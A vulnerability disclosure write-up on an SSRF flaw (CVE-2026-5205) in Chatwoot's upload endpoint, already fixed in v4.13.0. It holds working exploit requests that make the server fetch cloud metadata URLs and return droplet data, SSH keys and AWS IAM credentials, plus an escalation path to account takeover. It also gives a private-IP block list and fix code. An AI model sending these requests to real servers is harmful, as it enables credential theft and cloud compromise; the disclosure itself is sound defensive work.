Wed 29 April 2026
CVE-2026-5205
Chatwoot : Critical SSRF in /api/v1/accounts/:id/upload
March 26, 2026 · CWE-918 · Chatwoot ≤ v4.12.1
| Field | Details |
|---|---|
| Weakness | CWE-918: Server-Side Request Forgery |
| Severity | High |
| Affected | Chatwoot ≤ v4.12.1 |
| Fixed | v4.13.0 |
| Authentication | Agent (lowest privilege role) |
| Affected Component | app/controllers/api/v1/accounts/upload_controller.rb |
The Story
It started with an upload endpoint and a parameter that shouldn't have been trusted.
At Ostorlab, I had been reviewing Chatwoot's codebase — the open-source customer engagement platform that positions itself as an alternative to Intercom. While tracing data flows through the application, I landed on the upload controller. The endpoint at /api/v1/accounts/:id/upload accepts an external_url parameter: you give it a URL, and the server fetches the resource, stores it as an ActiveStorage blob, and hands you back a file_url to download the result.
The question was immediate: what stops this from fetching http://169.254.169.254/?
The answer: nothing. A single function — validate_uri — stood between user input and an outbound HTTP request. It checked the URL scheme. That's it. No hostname validation. No IP range blocking. No DNS rebinding protection. The server would happily fetch any http:// or https:// URL, store the response, and return it to the caller.
And unlike blind SSRF vulnerabilities where the attacker has to infer the response through side channels, this one returns the full response body in-band through the ActiveStorage blob. No out-of-band exfiltration needed. No timing attacks. The server fetches, stores, and hands you the data on a silver platter.
I deployed an unmodified chatwoot/chatwoot:latest on a DigitalOcean droplet and confirmed the full exploitation chain — six consecutive requests to the metadata service, each returning real infrastructure data through the blob URL. Droplet ID. Hostname. Public IP. SSH public keys. The complete metadata JSON bundle. All readable with a simple GET request.
The finding was submitted to the Chatwoot security team via GitHub Security Advisory. The issue was confirmed as already reported and fixed in v4.13.0. This article documents the vulnerability as I found it: the vulnerable code, the exploitation chain, and the live proof on real infrastructure.
The Vulnerability: SSRF via external_url Parameter (CVE-2026-5205)
The Sink
Chatwoot's upload endpoint at /api/v1/accounts/:id/upload accepts an external_url parameter. The server fetches the URL server-side using Ruby's open-uri, stores the response body as an ActiveStorage blob, and returns the blob URL directly to the caller. The attacker can then follow the file_url to read the raw upstream response — full in-band exfiltration.
Tracing the Data Flow
The vulnerable code sits in app/controllers/api/v1/accounts/upload_controller.rb:
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
end
def fetch_and_process_file_from_uri(uri)
uri.open do |file| # open-uri fetches ANY http(s) URL incl. 169.254.169.254
create_and_save_blob(file, File.basename(uri.path), file.content_type)
end
end
That's it. validate_uri verifies the URL uses http:// or https:// — and nothing else. No hostname validation. No IP range check. No allowlist. http://169.254.169.254/metadata/v1/id passes this check without a second glance.
uri.open (from open-uri) makes a real HTTP GET to any URL that passes the scheme check. The response is consumed by create_and_save_blob, which stores the raw body as an ActiveStorage blob. The blob's file_url is returned in the JSON response — giving the attacker direct access to the full upstream response body.
The server responds with:
{ "file_url": "...", "blob_id": "..." }
Following file_url returns the raw upstream body. That's the entire exfiltration channel — built into the application's normal response flow.
The Irony: Enterprise Code Has Protection, Core Does Not
The irony stings. Chatwoot's Enterprise edition already contains a proper SSRF guard in enterprise/lib/captain/tools/http_tool.rb:
PRIVATE_IP_RANGES = [
IPAddr.new('127.0.0.0/8'), # IPv4 Loopback
IPAddr.new('10.0.0.0/8'), # IPv4 Private network
IPAddr.new('172.16.0.0/12'), # IPv4 Private network
IPAddr.new('192.168.0.0/16'), # IPv4 Private network
IPAddr.new('169.254.0.0/16'), # IPv4 Link-local (cloud metadata)
IPAddr.new('::1'), # IPv6 Loopback
IPAddr.new('fc00::/7'), # IPv6 Unique local addresses
IPAddr.new('fe80::/10') # IPv6 Link-local
].freeze
def check_private_ip!(hostname)
ip_address = IPAddr.new(Resolv.getaddress(hostname))
raise 'Request blocked: hostname resolves to private IP address' if
PRIVATE_IP_RANGES.any? { |range| range.include?(ip_address) }
end
Full private IP coverage. DNS resolution before the check. Exactly what validate_uri needed. But this protection was confined to the Enterprise AI tooling module — never applied to the upload controller, leaving the external_url download path wide open.
The fix was sitting in the same codebase. It just wasn't wired up.
Live Exploitation: DigitalOcean Droplet
I tested this against an unmodified chatwoot/chatwoot:latest deployment on a DigitalOcean droplet. No special configuration, no modified settings — just the default docker-compose.production.yaml. The results speak for themselves.
Test Environment
| Property | Value |
|---|---|
| Provider | DigitalOcean |
| Region | lon1 |
| Droplet ID | 552923997 |
| Hostname | ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| Public IP | 167.99.195.252 |
| Image | chatwoot/chatwoot:latest (default docker-compose.production.yaml) |
| Attacker | agent@acme.test (role 0 — agent, non-admin) |
Step 1 — Authenticate as Lowest-Privilege Agent
POST /auth/sign_in HTTP/1.1
Content-Type: application/json
{"email":"agent@acme.test","password":"Password1!"}
Captured response headers:
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
The attacker doesn't need admin access. The lowest-privilege agent role is sufficient to reach the upload endpoint.
Step 2 — Fire SSRF Requests Against the DigitalOcean Metadata Service
All six requests use the same authenticated template:
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=<TARGET>
The server responds with { "file_url": "...", "blob_id": "..." }. Following file_url returns the raw upstream body — the complete response from the metadata service.
Results — Six Consecutive Metadata Exfiltration Requests
| # | external_url target |
Blob body returned |
|---|---|---|
| 1 | http://169.254.169.254/metadata/v1/id |
552923997 |
| 2 | http://169.254.169.254/metadata/v1/hostname |
ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01 |
| 3 | http://169.254.169.254/metadata/v1/region |
lon1 |
| 4 | http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address |
167.99.195.252 |
| 5 | http://169.254.169.254/metadata/v1/public-keys |
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop |
| 6 | http://169.254.169.254/metadata/v1.json |
Full DO metadata bundle (droplet_id, vendor_data cloud-init, public_keys, interfaces, dns, …) |
Every single response — the droplet ID, the hostname, the public IP, the SSH public key, and the complete metadata JSON — came back through the ActiveStorage blob, readable by the attacker with a simple GET to the file_url.
Sample Full Request/Response — Droplet ID Exfiltration
Request:
POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/metadata/v1/id
Response:
{
"file_url": "http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id",
"blob_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"
}
Fetching the file_url:
552923997
The droplet ID — confirmed against the DigitalOcean control panel. Real data, exfiltrated in-band, from a default Chatwoot install.
Escalation: From SSRF to Cloud Account Takeover
AWS IMDSv1 — The Worst Case
On AWS EC2, ECS, Lambda, or Elastic Beanstalk hosted instances with IMDSv1, this SSRF becomes a direct path to full cloud account takeover:
POST /api/v1/accounts/1/upload HTTP/1.1
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data
external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
The metadata service returns full IAM credentials — and because the upload SSRF returns the complete response body in-band, the attacker reads them directly from the file_url:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "AQoXnyc4lcK4w...",
"Expiration": "2026-04-01T00:00:00Z"
}
The escalation path from there:
SSRF → AWS IMDSv1 credentials
→ Attacker has AWS IAM role keys
→ Role has S3/EC2/Lambda/ECS permissions
→ Deploy backdoor Lambda / modify EC2 user data
→ Full RCE on cloud infrastructure
Impact
| Scenario | Impact |
|---|---|
| AWS IMDSv1 (no hop limit) | Critical — steal IAM role credentials, full AWS account takeover |
| GCP metadata API | Critical — steal service account OAuth tokens |
| Azure IMDS | Critical — steal managed identity tokens |
| DigitalOcean metadata | High — steal cloud tokens, SSH keys, user data |
| Internal network pivoting | High — attack Redis, Postgres admin UIs, Sidekiq Web, K8s API, internal microservices |
| Secret exfiltration | High — read internal debug/health endpoints |
| Privilege escalation | High — stolen cloud credentials grant access beyond Chatwoot |
The Fix for CVE-2026-5205
The vulnerability was fixed in Chatwoot v4.13.0. The canonical advisory is tracked as GHSA-6fj9-gj7h-q2hf.
Recommended Approach — Validate Resolved IP Before Fetching
The fix should validate the resolved IP against private ranges before open-uri makes the request:
require 'resolv'
PRIVATE_IP_PATTERNS = [
/\A127\./, /\A10\./, /\A172\.(1[6-9]|2\d|3[01])\./,
/\A192\.168\./, /\A169\.254\./, /\Afc00:/i, /\Afe80:/i
].freeze
def validate_uri(uri)
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
resolved = Resolv.getaddress(uri.host) rescue nil
raise URI::InvalidURIError, 'SSRF: internal host blocked' if resolved && PRIVATE_IP_PATTERNS.any? { |p| p.match?(resolved) }
end
Cloud-Level Mitigation — Enable IMDSv2
On AWS, enforce IMDSv2 — which requires a PUT with a token header that open-uri cannot forge:
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxx \
--http-tokens required \
--http-put-response-hop-limit 1
This is a mitigation, not a fix — internal service access remains possible regardless of IMDSv2.
Timeline
| Date | Event |
|---|---|
| 2026-03-26 | Vulnerability discovered via source code review |
| 2026-03-26 | Confirmed via live exploitation on DigitalOcean droplet (v4.12.1) |
| 2026-03-26 | Report submitted via GitHub Security Advisory |
| 2026-04-22 | Chatwoot team confirmed the issue was already reported and fixed in v4.13.0 |
| 2026-04-22 | Advisory closed — canonical tracking under GHSA-6fj9-gj7h-q2hf |
References
| Resource | Link |
|---|---|
| Canonical Advisory | GHSA-6fj9-gj7h-q2hf |
| CWE-918: Server-Side Request Forgery | https://cwe.mitre.org/data/definitions/918.html |
| OWASP SSRF Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html |
| AWS IMDSv1 Exploitation | https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html |
| Chatwoot Security Reporting Guidelines | https://developers.chatwoot.com/contributing-guide/security-reports |